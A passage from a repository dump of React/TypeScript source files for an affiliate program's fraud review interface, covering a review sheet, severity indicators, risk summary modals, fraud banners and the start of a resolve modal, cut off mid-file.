    "content": "\"use client\";\n\nimport { FRAUD_RULES_BY_TYPE } from \"@/lib/api/fraud/constants\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { FraudGroupProps } from \"@/lib/types\";\nimport { useBanPartnerModal } from \"@/ui/modals/ban-partner-modal\";\nimport { useRejectPartnerApplicationModal } from \"@/ui/modals/reject-partner-application-modal\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  ChevronLeft,\n  ChevronRight,\n  Msgs,\n  Sheet,\n  Tooltip,\n  User,\n  buttonVariants,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { OG_AVATAR_URL, cn, formatDateTime } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { Dispatch, SetStateAction } from \"react\";\nimport { CommissionsOnHoldTable } from \"./commissions-on-hold-table\";\nimport { FraudDisclaimerBanner } from \"./fraud-disclaimer-banner\";\nimport { FraudEventsTableWrapper } from \"./fraud-events-tables\";\nimport { PartnerCrossProgramSummary } from \"./partner-cross-program-summary\";\nimport { useResolveFraudGroupModal } from \"./resolve-fraud-group-modal\";\nimport { ResolvedFraudGroupTable } from \"./resolved-fraud-group-table\";\n\ninterface FraudReviewSheetProps {\n  fraudGroup: FraudGroupProps;\n  setIsOpen: Dispatch<SetStateAction<boolean>>;\n  onNext?: () => void;\n  onPrevious?: () => void;\n}\n\nfunction FraudReviewSheetContent({\n  fraudGroup,\n  onPrevious,\n  onNext,\n}: FraudReviewSheetProps) {\n  const { partner, user } = fraudGroup;\n\n  const { slug } = useParams();\n\n  const { setShowResolveFraudGroupModal, ResolveFraudGroupModal } =\n    useResolveFraudGroupModal({\n      fraudGroup,\n      onConfirm: async () => {\n        onNext?.();\n        mutatePrefix(\"/api/fraud/groups\");\n      },\n    });\n\n  const { setShowBanPartnerModal, BanPartnerModal } = useBanPartnerModal({\n    partner,\n    onConfirm: async () => {\n      onNext?.();\n      mutatePrefix(\"/api/fraud/groups\");\n    },\n  });\n\n  const {\n    RejectPartnerApplicationModal,\n    setShowRejectPartnerApplicationModal,\n  } = useRejectPartnerApplicationModal({\n    partner,\n    onConfirm: async () => {\n      onNext?.();\n      mutatePrefix(\"/api/fraud/groups\");\n    },\n  });\n\n  // Left/right arrow keys for previous/next fraud event\n  useKeyboardShortcut(\"ArrowRight\", () => onNext?.(), { sheet: true });\n  useKeyboardShortcut(\"ArrowLeft\", () => onPrevious?.(), { sheet: true });\n\n  // Resolve/ban/reject shortcuts\n  useKeyboardShortcut(\"r\", () => setShowResolveFraudGroupModal(true), {\n    sheet: true,\n  });\n\n  useKeyboardShortcut(\n    \"b\",\n    () => {\n      if (partner.status === \"pending\") {\n        setShowRejectPartnerApplicationModal(true);\n      } else {\n        setShowBanPartnerModal(true);\n      }\n    },\n    { sheet: true },\n  );\n\n  const fraudRuleInfo = FRAUD_RULES_BY_TYPE[fraudGroup.type];\n\n  return (\n    <div className=\"relative h-full\">\n      {ResolveFraudGroupModal}\n      {RejectPartnerApplicationModal}\n      <BanPartnerModal />\n      <div\n        className={cn(\"flex h-full flex-col transition-opacity duration-200\")}\n      >\n        <div className=\"flex h-16 shrink-0 items-center justify-between border-b border-neutral-200 px-6 py-4\">\n          <Sheet.Title className=\"text-lg font-semibold\">\n            {fraudGroup.status === \"pending\"\n              ? \"Fraud review\"\n              : \"Resolved fraud and risk event\"}\n          </Sheet.Title>\n\n          <div className=\"flex items-center gap-2\">\n            <Link\n              href={`/${slug}/program/partners/${partner.id}`}\n              target=\"_blank\"\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex h-9 items-center gap-2 whitespace-nowrap rounded-lg border px-3 text-sm font-medium\",\n              )}\n            >\n              <User className=\"size-4 shrink-0\" />\n              <span className=\"hidden sm:inline\">View profile</span>\n            </Link>\n\n            <Link\n              href={`/${slug}/program/messages/${partner.id}`}\n              target=\"_blank\"\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex h-9 items-center gap-2 whitespace-nowrap rounded-lg border px-3 text-sm font-medium\",\n              )}\n            >\n              <Msgs className=\"size-4 shrink-0\" />\n              <span className=\"hidden sm:inline\">Message</span>\n            </Link>\n\n            <div className=\"flex items-center\">\n              <Button\n                type=\"button\"\n                disabled={!onPrevious}\n                onClick={onPrevious}\n                variant=\"secondary\"\n                className=\"size-9 rounded-l-lg rounded-r-none p-0\"\n                icon={<ChevronLeft className=\"size-3.5\" />}\n              />\n              <Button\n                type=\"button\"\n                disabled={!onNext}\n                onClick={onNext}\n                variant=\"secondary\"\n                className=\"-ml-px size-9 rounded-l-none rounded-r-lg p-0\"\n                icon={<ChevronRight className=\"size-3.5\" />}\n              />\n            </div>\n\n            <Sheet.Close asChild>\n              <Button\n                variant=\"outline\"\n                icon={<X className=\"size-5\" />}\n                className=\"ml-2 h-auto w-fit p-1\"\n              />\n            </Sheet.Close>\n          </div>\n        </div>\n\n        <div className=\"min-h-0 grow overflow-y-auto\">\n          <div className=\"flex flex-col gap-6 p-6\">\n            <FraudDisclaimerBanner />\n\n            <div className=\"flex flex-col gap-4 sm:flex-row sm:justify-between sm:gap-6\">\n              {/* Partner details */}\n              <div className=\"bg-bg-muted border-border-subtle flex flex-grow flex-col gap-3 rounded-xl border px-4 py-3\">\n                <h2 className=\"text-content-default text-sm font-semibold leading-5\">\n                  Partner details\n                </h2>\n                <div className=\"flex min-w-0 items-center gap-3\">\n                  <PartnerAvatar partner={partner} className=\"size-10\" />\n                  <div className=\"flex min-w-0 flex-col\">\n                    <span className=\"text-content-emphasis truncate text-sm font-semibold\">\n                      {partner.name}\n                    </span>\n                    <span className=\"text-content-subtle truncate text-xs font-medium\">\n                      {partner.email}\n                    </span>\n                  </div>\n                </div>\n              </div>\n\n              <div className=\"bg-bg-muted border-border-subtle flex flex-col gap-3 rounded-xl border px-4 py-3 sm:shrink-0\">\n                <h2 className=\"text-content-default text-sm font-semibold leading-5\">\n                  Program owner activity\n                </h2>\n                <div className=\"flex flex-col gap-2\">\n                  <PartnerCrossProgramSummary partnerId={partner.id} />\n                </div>\n              </div>\n            </div>\n\n            <div className=\"border-border-subtle flex flex-col gap-4 rounded-xl border p-4\">\n              <div className=\"flex flex-col\">\n                <span className=\"text-content-default text-sm font-semibold\">\n                  {fraudRuleInfo.name}\n                </span>\n                <span className=\"text-content-subtle text-xs font-normal\">\n                  {fraudRuleInfo.description}\n                </span>\n              </div>\n\n              <FraudEventsTableWrapper fraudGroup={fraudGroup} />\n            </div>\n\n            {fraudGroup.status === \"pending\" && (\n              <div>\n                <h3 className=\"text-content-emphasis mb-4 font-semibold\">\n                  Commissions on hold\n                </h3>\n                <CommissionsOnHoldTable fraudGroup={fraudGroup} />\n              </div>\n            )}\n\n            {fraudGroup.status === \"pending\" && (\n              <ResolvedFraudGroupTable partnerId={partner.id} />\n            )}\n\n            {fraudGroup.status === \"resolved\" && (\n              <div>\n                <h3 className=\"text-content-emphasis mb-4 font-semibold\">\n                  Decision\n                </h3>\n\n                <div\n                  className={cn(\n                    \"flex gap-3\",\n                    fraudGroup.resolutionReason\n                      ? \"items-start\"\n                      : \"items-center\",\n                  )}\n                >\n                  <Tooltip\n                    content={\n                      <div className=\"flex flex-col gap-1 p-2.5\">\n                        {user && (\n                          <div className=\"flex flex-col gap-2\">\n                            <img\n                              src={user.image || `${OG_AVATAR_URL}${user.id}`}\n                              alt={user.name ?? user.email ?? user.id}\n                              className=\"size-6 shrink-0 rounded-full\"\n                            />\n                            <p className=\"text-sm font-medium\">{user.name}</p>\n                          </div>\n                        )}\n\n                        <div className=\"text-xs text-neutral-500\">\n                          Resolved by{\" \"}\n                          <span className=\"font-medium text-neutral-700\">\n                            {fraudGroup.resolvedAt\n                              ? formatDateTime(fraudGroup.resolvedAt)\n                              : \"Unknown\"}\n                          </span>\n                        </div>\n                      </div>\n                    }\n                  >\n                    {user && (\n                      <img\n                        src={user.image || `${OG_AVATAR_URL}${user.id}`}\n                        alt={user.name ?? user.email ?? user.id}\n                        className=\"size-5 shrink-0 rounded-full\"\n                      />\n                    )}\n                  </Tooltip>\n\n                  <div className=\"flex flex-col gap-1\">\n                    {fraudGroup.resolvedAt && (\n                      <span className=\"text-sm font-medium text-neutral-600\">\n                        {fraudGroup.resolvedAt\n                          ? formatDateTime(fraudGroup.resolvedAt)\n                          : \"-\"}\n                      </span>\n                    )}\n\n                    {fraudGroup.resolutionReason && (\n                      <span className=\"text-content-subtle text-sm font-medium\">\n                        {fraudGroup.resolutionReason}\n                      </span>\n                    )}\n                  </div>\n                </div>\n              </div>\n            )}\n          </div>\n        </div>\n\n        {fraudGroup.status === \"pending\" && (\n          <div className=\"flex flex-col justify-end\">\n            <div className=\"border-border-subtle flex items-center justify-end gap-2 border-t px-5 py-4\">\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Resolve event\"\n                shortcut=\"R\"\n                onClick={() => setShowResolveFraudGroupModal(true)}\n                className=\"h-8 w-fit rounded-lg\"\n              />\n\n              {partner.status === \"pending\" ? (\n                <Button\n                  type=\"button\"\n                  text=\"Reject application\"\n                  shortcut=\"B\"\n                  variant=\"danger\"\n                  onClick={() => setShowRejectPartnerApplicationModal(true)}\n                  className=\"h-8 w-fit rounded-lg\"\n                />\n              ) : (\n                <Button\n                  type=\"button\"\n                  text=\"Ban partner\"\n                  shortcut=\"B\"\n                  variant=\"danger\"\n                  onClick={() => setShowBanPartnerModal(true)}\n                  className=\"h-8 w-fit rounded-lg\"\n                />\n              )}\n            </div>\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n\nexport function FraudReviewSheet({\n  isOpen,\n  nested,\n  ...rest\n}: FraudReviewSheetProps & {\n  isOpen: boolean;\n  nested?: boolean;\n}) {\n  const { queryParams } = useRouterStuff();\n\n  const handleOpenChange = (open: boolean) => {\n    // Only update if the value actually changed\n    if (open === isOpen) return;\n\n    rest.setIsOpen(open);\n\n    // Clear the groupId from URL when closing\n    if (!open) {\n      queryParams({ del: \"groupId\", scroll: false });\n    }\n  };\n\n  return (\n    <Sheet\n      open={isOpen}\n      onOpenChange={handleOpenChange}\n      nested={nested}\n      contentProps={{\n        className: \"[--sheet-width:940px]\",\n      }}\n    >\n      <FraudReviewSheetContent {...rest} />\n    </Sheet>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/partner-application-fraud-severity-indicator.tsx",
    "content": "\"use client\";\n\nimport { FRAUD_SEVERITY_CONFIG } from \"@/lib/api/fraud/constants\";\nimport { FraudSeverity } from \"@/lib/types\";\nimport { cn } from \"@dub/utils\";\n\nexport function PartnerApplicationFraudSeverityIndicator({\n  severity,\n  className,\n}: {\n  severity: FraudSeverity | null | undefined;\n  className?: string;\n}) {\n  const entries = Object.entries(FRAUD_SEVERITY_CONFIG);\n\n  return (\n    <div className={cn(\"flex flex-col gap-2\", className)}>\n      <div className=\"flex w-full gap-2\">\n        {entries.map(([key, cfg]) => (\n          <div\n            key={key}\n            className={cn(\n              \"h-2 flex-1 rounded-lg transition-colors\",\n              severity === key ? cfg.bg : \"bg-neutral-200\",\n            )}\n          />\n        ))}\n      </div>\n\n      <div className=\"flex w-full gap-2\">\n        {entries.map(([key, cfg]) => (\n          <div\n            key={key}\n            className=\"text-content-default flex-1 text-start text-xs font-medium\"\n          >\n            {cfg.label}\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/partner-application-risk-summary-modal.tsx",
    "content": "\"use client\";\n\nimport { FRAUD_SEVERITY_CONFIG } from \"@/lib/api/fraud/constants\";\nimport { FraudRuleInfo, FraudSeverity } from \"@/lib/types\";\nimport { Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { X } from \"lucide-react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { PartnerApplicationFraudSeverityIndicator } from \"./partner-application-fraud-severity-indicator\";\n\ninterface PartnerApplicationRiskSummaryModalProps {\n  showModal: boolean;\n  setShowModal: Dispatch<SetStateAction<boolean>>;\n  triggeredRules: FraudRuleInfo[];\n  severity: FraudSeverity | null | undefined;\n}\n\nfunction PartnerApplicationRiskSummaryModal({\n  showModal,\n  setShowModal,\n  triggeredRules,\n  severity,\n}: PartnerApplicationRiskSummaryModalProps) {\n  return (\n    <Modal\n      showModal={showModal}\n      setShowModal={setShowModal}\n      className=\"max-w-lg\"\n    >\n      <div className=\"border-b border-neutral-200 px-4 py-3\">\n        <div className=\"flex w-full items-center justify-between\">\n          <h3 className=\"text-lg font-medium leading-none\">Risk analysis</h3>\n          <button\n            type=\"button\"\n            onClick={() => setShowModal(false)}\n            className=\"group rounded-full p-2 text-neutral-500 transition-all duration-75 hover:bg-neutral-100 focus:outline-none active:bg-neutral-200\"\n          >\n            <X className=\"h-5 w-5\" />\n          </button>\n        </div>\n      </div>\n\n      <div className=\"flex flex-col gap-6 bg-white p-4 sm:p-6\">\n        <PartnerApplicationFraudSeverityIndicator severity={severity} />\n\n        <ul className=\"space-y-4\">\n          {triggeredRules.map((rule) => {\n            if (!rule.severity) return null;\n\n            return (\n              <li key={rule.type} className=\"flex items-start gap-2\">\n                <div\n                  className={cn(\n                    \"size-2 shrink-0 rounded-full\",\n                    FRAUD_SEVERITY_CONFIG[rule.severity].bg,\n                  )}\n                />\n                <div className=\"flex flex-col gap-1\">\n                  <span className=\"-mt-0.5 text-xs font-medium leading-none text-neutral-700\">\n                    {rule.name}\n                  </span>\n                  <p className=\"text-content-subtle text-xs font-normal leading-4\">\n                    {rule.description}\n                  </p>\n                </div>\n              </li>\n            );\n          })}\n        </ul>\n      </div>\n    </Modal>\n  );\n}\n\nexport function usePartnerApplicationRiskSummaryModal({\n  triggeredRules,\n  severity,\n}: {\n  triggeredRules: FraudRuleInfo[];\n  severity: FraudSeverity | null | undefined;\n}) {\n  const [showModal, setShowModal] = useState(false);\n\n  const PartnerApplicationRiskSummaryModalCallback = useCallback(() => {\n    return (\n      <PartnerApplicationRiskSummaryModal\n        showModal={showModal}\n        setShowModal={setShowModal}\n        triggeredRules={triggeredRules}\n        severity={severity}\n      />\n    );\n  }, [showModal, setShowModal, triggeredRules, severity]);\n\n  return useMemo(\n    () => ({\n      setShowModal,\n      PartnerApplicationRiskSummaryModal:\n        PartnerApplicationRiskSummaryModalCallback,\n    }),\n    [setShowModal, PartnerApplicationRiskSummaryModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/partner-application-risk-summary.tsx",
    "content": "\"use client\";\n\nimport { FRAUD_SEVERITY_CONFIG } from \"@/lib/api/fraud/constants\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { usePartnerApplicationRisks } from \"@/lib/swr/use-partner-application-risks\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerExtendedProps, FraudSeverity } from \"@/lib/types\";\nimport { Button, ShieldKeyhole } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { usePartnersUpgradeModal } from \"../partners-upgrade-modal\";\nimport { FraudDisclaimerBanner } from \"./fraud-disclaimer-banner\";\nimport { PartnerApplicationFraudSeverityIndicator } from \"./partner-application-fraud-severity-indicator\";\nimport { usePartnerApplicationRiskSummaryModal } from \"./partner-application-risk-summary-modal\";\nimport { PartnerCrossProgramSummary } from \"./partner-cross-program-summary\";\n\ninterface PartnerApplicationRiskSummaryProps {\n  partner: EnrolledPartnerExtendedProps;\n}\n\n// Displays the risk analysis for a partner application\nexport function PartnerApplicationRiskSummary({\n  partner,\n}: PartnerApplicationRiskSummaryProps) {\n  const { plan } = useWorkspace();\n\n  const { triggeredFraudRules, severity, isLoading } =\n    usePartnerApplicationRisks({\n      filters: { partnerId: partner?.id },\n      enabled: !!partner?.id,\n    });\n\n  const { setShowModal, PartnerApplicationRiskSummaryModal } =\n    usePartnerApplicationRiskSummaryModal({\n      triggeredRules: triggeredFraudRules,\n      severity,\n    });\n\n  const { canManageFraudEvents } = getPlanCapabilities(plan);\n\n  if (!canManageFraudEvents && !isLoading) {\n    return <PartnerApplicationRiskSummaryUpsell />;\n  }\n\n  if (isLoading || triggeredFraudRules.length === 0) {\n    return null;\n  }\n\n  return (\n    <>\n      <div className=\"flex flex-col gap-4 p-4\">\n        <div className=\"flex items-center justify-between\">\n          <h3 className=\"text-content-emphasis text-sm font-semibold\">\n            Risk analysis\n          </h3>\n\n          <Button\n            type=\"button\"\n            text=\"View\"\n            variant=\"secondary\"\n            onClick={() => setShowModal(true)}\n            className=\"h-6 w-fit px-1.5 py-2\"\n          />\n        </div>\n\n        <PartnerApplicationFraudSeverityIndicator severity={severity} />\n\n        <ul className=\"space-y-2\">\n          {triggeredFraudRules.map((rule) => {\n            if (!rule.severity) return null;\n\n            return (\n              <li key={rule.type} className=\"flex items-center gap-2\">\n                <div\n                  className={cn(\n                    \"size-2 shrink-0 rounded-full\",\n                    FRAUD_SEVERITY_CONFIG[rule.severity].bg,\n                  )}\n                />\n                <span className=\"text-xs font-medium leading-4 text-neutral-700\">\n                  {rule.name}\n                </span>\n              </li>\n            );\n          })}\n        </ul>\n      </div>\n\n      <div className=\"flex flex-col gap-3 p-4\">\n        <h3 className=\"text-content-emphasis text-sm font-semibold\">\n          Program owner activity\n        </h3>\n        <PartnerCrossProgramSummary partnerId={partner.id} />\n\n        {severity === \"high\" && (\n          <FraudDisclaimerBanner className=\"gap-2 px-3 py-2\" />\n        )}\n      </div>\n\n      <PartnerApplicationRiskSummaryModal />\n    </>\n  );\n}\n\nconst APPLICATION_RISK_CONFIG = {\n  high: {\n    bg: \"bg-red-100\",\n    border: \"border-red-200\",\n    icon: \"text-red-600\",\n  },\n  medium: {\n    bg: \"bg-orange-100\",\n    border: \"border-orange-200\",\n    icon: \"text-orange-600\",\n  },\n  low: {\n    bg: \"bg-neutral-100\",\n    border: \"border-neutral-200\",\n    icon: \"text-neutral-600\",\n  },\n};\n\nexport function PartnerApplicationRiskSummaryUpsell() {\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  // Dummy risk items for blur effect\n  const dummyRisks: Array<{ severity: FraudSeverity; text: string }> = [\n    { severity: \"high\", text: \"High risk reason to unlock\" },\n    { severity: \"medium\", text: \"Medium risk reason to unlock\" },\n    { severity: \"low\", text: \"Low risk reason to unlock\" },\n  ];\n\n  const severity: FraudSeverity = \"high\";\n  const severityConfig = APPLICATION_RISK_CONFIG[severity];\n\n  return (\n    <>\n      {partnersUpgradeModal}\n      <div className=\"relative flex flex-col gap-4 p-4\">\n        {/* Blurred dummy risk list */}\n        <div className=\"pointer-events-none flex select-none flex-col gap-4 blur-[3px]\">\n          <h3 className=\"text-content-emphasis text-sm font-semibold\">\n            Risk analysis\n          </h3>\n\n          <PartnerApplicationFraudSeverityIndicator severity={severity} />\n\n          <ul className=\"space-y-2\">\n            {dummyRisks.map((risk) => (\n              <li key={risk.severity} className=\"flex items-center gap-2\">\n                <div\n                  className={cn(\n                    \"size-2 shrink-0 rounded-full\",\n                    FRAUD_SEVERITY_CONFIG[risk.severity].bg,\n                  )}\n                />\n                <span className=\"text-xs font-medium leading-4 text-neutral-700\">\n                  {risk.text}\n                </span>\n              </li>\n            ))}\n          </ul>\n        </div>\n\n        {/* Upsell overlay */}\n        <div className=\"absolute inset-0 flex flex-col rounded-xl bg-white/60 p-4 backdrop-blur-[2px]\">\n          <h3 className=\"text-content-emphasis mb-4 text-sm font-semibold\">\n            Unlock risk analysis\n          </h3>\n\n          <div className=\"flex flex-1 flex-col items-center justify-center gap-4\">\n            <div\n              className={cn(\n                \"flex size-7 items-center justify-center rounded-lg border\",\n                severityConfig.border,\n                severityConfig.bg,\n              )}\n            >\n              <ShieldKeyhole className={cn(\"size-4\", severityConfig.icon)} />\n            </div>\n\n            <p className=\"text-content-default max-w-72 text-center text-xs font-medium\">\n              Application risk review and event detection are available on the\n              Advanced plan{\" \"}\n              <Link\n                href=\"https://dub.co/help/article/fraud-detection\"\n                target=\"_blank\"\n                className=\"underline underline-offset-2 hover:text-neutral-800\"\n              >\n                Learn more\n              </Link>\n            </p>\n\n            <Button\n              text=\"Upgrade to Advanced\"\n              variant=\"secondary\"\n              className=\"h-7 w-full rounded-lg font-medium\"\n              onClick={() => setShowPartnersUpgradeModal(true)}\n            />\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/partner-cross-program-summary.tsx",
    "content": "\"use client\";\n\nimport { usePartnerCrossProgramSummary } from \"@/lib/swr/use-partner-cross-program-summary\";\nimport { ActivityRing, User, UserCheck, UserXmark } from \"@dub/ui\";\n\nexport function PartnerCrossProgramSummary({\n  partnerId,\n}: {\n  partnerId: string;\n}) {\n  const { crossProgramSummary, isLoading } = usePartnerCrossProgramSummary({\n    partnerId,\n  });\n\n  if (isLoading || !crossProgramSummary) {\n    return <LoadingSkeleton />;\n  }\n\n  const { totalPrograms, activePrograms, bannedPrograms } = crossProgramSummary;\n\n  return (\n    <div className=\"flex items-center gap-3\">\n      <ActivityRing\n        positiveValue={activePrograms}\n        negativeValue={bannedPrograms}\n        positiveIcon={UserCheck}\n        negativeIcon={UserXmark}\n        neutralIcon={User}\n      />\n      <div className=\"flex min-w-0 grow flex-col gap-[5px]\">\n        <StatRow\n          label=\"Active programs\"\n          value={activePrograms}\n          total={totalPrograms}\n        />\n        <StatRow\n          label=\"Banned from programs\"\n          value={bannedPrograms}\n          total={totalPrograms}\n        />\n      </div>\n    </div>\n  );\n}\n\nfunction StatRow({\n  label,\n  value,\n  total,\n}: {\n  label: string;\n  value: number;\n  total: number;\n}) {\n  return (\n    <div className=\"flex items-center justify-between gap-6\">\n      <span className=\"text-xs font-medium text-neutral-700\">{label}</span>\n      <div className=\"flex items-center gap-1 text-xs\">\n        <span className=\"font-semibold text-neutral-800\">{value}</span>\n        <span className=\"font-medium text-neutral-500\">of {total}</span>\n      </div>\n    </div>\n  );\n}\n\nfunction LoadingSkeleton() {\n  return (\n    <div className=\"flex items-center gap-3\">\n      <div className=\"size-10 shrink-0 animate-pulse rounded-full bg-neutral-200\" />\n      <div className=\"flex min-w-0 grow flex-col gap-[5px]\">\n        <div className=\"flex items-center justify-between gap-6\">\n          <div className=\"h-4 w-28 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"flex items-center gap-1\">\n            <div className=\"h-4 w-4 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-4 w-7 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </div>\n        <div className=\"flex items-center justify-between gap-6\">\n          <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"flex items-center gap-1\">\n            <div className=\"h-4 w-4 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-4 w-7 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/partner-fraud-banner.tsx",
    "content": "\"use client\";\n\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport { usePartnerApplicationRisks } from \"@/lib/swr/use-partner-application-risks\";\nimport {\n  EnrolledPartnerExtendedProps,\n  FraudGroupCountByPartner,\n} from \"@/lib/types\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { ShieldKeyhole } from \"@dub/ui\";\nimport { useParams } from \"next/navigation\";\n\nexport function PartnerApplicationFraudBanner({\n  partner,\n}: {\n  partner: EnrolledPartnerExtendedProps;\n}) {\n  const { severity, isLoading } = usePartnerApplicationRisks({\n    filters: { partnerId: partner?.id },\n    enabled: partner.status === \"pending\",\n  });\n\n  // Only show for pending partners with high severity risk\n  if (isLoading || severity !== \"high\") {\n    return null;\n  }\n\n  return (\n    <div className=\"flex items-center justify-between gap-2 rounded-t-xl border border-b-0 border-red-200 bg-red-100 px-4 py-2\">\n      <div className=\"flex items-center gap-2\">\n        <ShieldKeyhole className=\"size-4 text-red-700\" />\n        <h3 className=\"text-sm font-semibold leading-5 text-red-700\">\n          Potential risk detected\n        </h3>\n      </div>\n    </div>\n  );\n}\n\nexport function PartnerFraudBanner({\n  partner,\n}: {\n  partner: EnrolledPartnerExtendedProps;\n}) {\n  const { slug } = useParams();\n\n  const { fraudGroupCount, loading } = useFraudGroupCount<\n    FraudGroupCountByPartner[]\n  >({\n    query: {\n      groupBy: \"partnerId\",\n      status: \"pending\",\n    },\n    enabled: partner.status !== \"pending\",\n    ignoreParams: true,\n  });\n\n  if (loading) {\n    return null;\n  }\n\n  const partnerFraudGroup = fraudGroupCount?.find(\n    (event) => event.partnerId === partner.id,\n  );\n\n  if (!partnerFraudGroup || partnerFraudGroup._count === 0) {\n    return null;\n  }\n\n  return (\n    <div className=\"flex items-center justify-between gap-2 rounded-t-xl border border-b-0 border-red-200 bg-red-100 px-4 py-2\">\n      <div className=\"flex items-center gap-2\">\n        <ShieldKeyhole className=\"size-4 text-red-700\" />\n        <h3 className=\"text-sm font-semibold leading-5 text-red-700\">\n          Potential risk detected\n        </h3>\n      </div>\n\n      <ButtonLink\n        variant=\"outline\"\n        className=\"text-content-inverted hover:none h-7 w-fit rounded-lg bg-red-700 px-2.5 py-2 text-sm font-medium hover:bg-red-800\"\n        href={`/${slug}/program/fraud?partnerId=${partner.id}`}\n        target=\"_blank\"\n      >\n        Review event\n      </ButtonLink>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/partner-fraud-indicator.tsx",
    "content": "import { FRAUD_SEVERITY_CONFIG } from \"@/lib/api/fraud/constants\";\nimport { useFraudGroupCount } from \"@/lib/swr/use-fraud-groups-count\";\nimport { FraudGroupCountByPartner } from \"@/lib/types\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { DynamicTooltipWrapper, Flag } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useParams, usePathname } from \"next/navigation\";\n\ninterface PartnerFraudIndicatorProps {\n  partnerId: string;\n}\n\nexport function PartnerFraudIndicator({\n  partnerId,\n}: PartnerFraudIndicatorProps) {\n  const { slug } = useParams();\n  const pathname = usePathname();\n\n  const { fraudGroupCount, loading } = useFraudGroupCount<\n    FraudGroupCountByPartner[]\n  >({\n    query: {\n      groupBy: \"partnerId\",\n      status: \"pending\",\n    },\n    enabled: !!partnerId,\n    ignoreParams: true,\n  });\n\n  if (loading) {\n    return null;\n  }\n\n  const currentPartnerFraudEvents = fraudGroupCount?.find(\n    (event) => event.partnerId === partnerId,\n  );\n\n  if (!currentPartnerFraudEvents || currentPartnerFraudEvents._count === 0) {\n    return null;\n  }\n\n  const source = pathname?.includes(\"/applications\")\n    ? \"applications\"\n    : \"partners\";\n\n  const tooltipContent = (\n    <div className=\"grid max-w-44 gap-2 rounded-2xl p-3 text-center\">\n      {source === \"applications\" ? (\n        <span className=\"text-xs font-medium leading-4 text-neutral-600\">\n          This partner has been flagged for potential risk.\n        </span>\n      ) : (\n        <span className=\"text-sm leading-4 text-neutral-600\">\n          Fraud and risk event to review.\n        </span>\n      )}\n\n      <ButtonLink\n        variant=\"secondary\"\n        className=\"h-6 w-full items-center justify-center rounded-md px-1.5 py-2 text-sm font-medium\"\n        href={`/${slug}/program/fraud?partnerId=${partnerId}`}\n        target=\"_blank\"\n      >\n        Review events\n      </ButtonLink>\n    </div>\n  );\n\n  return (\n    <DynamicTooltipWrapper\n      tooltipProps={{\n        content: tooltipContent,\n      }}\n    >\n      <Flag\n        className={cn(\n          \"size-3.5 cursor-pointer\",\n          FRAUD_SEVERITY_CONFIG[\"high\"].fg,\n        )}\n      />\n    </DynamicTooltipWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/fraud-risks/resolve-fraud-group-modal.tsx",
    "content": "\"use client\";\n\nimport { resolveFraudGroupAction } from \"@/lib/actions/fraud/resolve-fraud-group\";\nimport { parseActionError } from \"@/lib/actions/parse-action-errors\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FraudGroupProps } from \"@/lib/types\";\nimport {\n  MAX_RESOLUTION_REASON_LENGTH,\n  resolveFraudGroupSchema,\n} from \"@/lib/zod/schemas/fraud\";\nimport { PartnerAvatar } from \"@/ui/partners/partner-avatar\";\nimport { MaxCharactersCounter } from \"@/ui/shared/max-characters-counter\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn, pluralize } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype FormData = z.infer<typeof resolveFraudGroupSchema>;\n\nfunction ResolveFraudGroupModal({\n  showResolveFraudGroupModal,\n  setShowResolveFraudGroupModal,\n  fraudGroup,\n  onConfirm,\n}: {\n  showResolveFraudGroupModal: boolean;\n  setShowResolveFraudGroupModal: Dispatch<SetStateAction<boolean>>;\n  fraudGroup: FraudGroupProps;\n  onConfirm?: () => Promise<void>;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { executeAsync, isPending } = useAction(resolveFraudGroupAction, {\n    onSuccess: async () => {\n      toast.success(\"Fraud events resolved.\");\n      setShowResolveFraudGroupModal(false);\n      await onConfirm?.();\n    },\n    onError: ({ error }) => {\n      toast.error(parseActionError(error, \"Failed to resolve fraud events.\"));\n    },\n 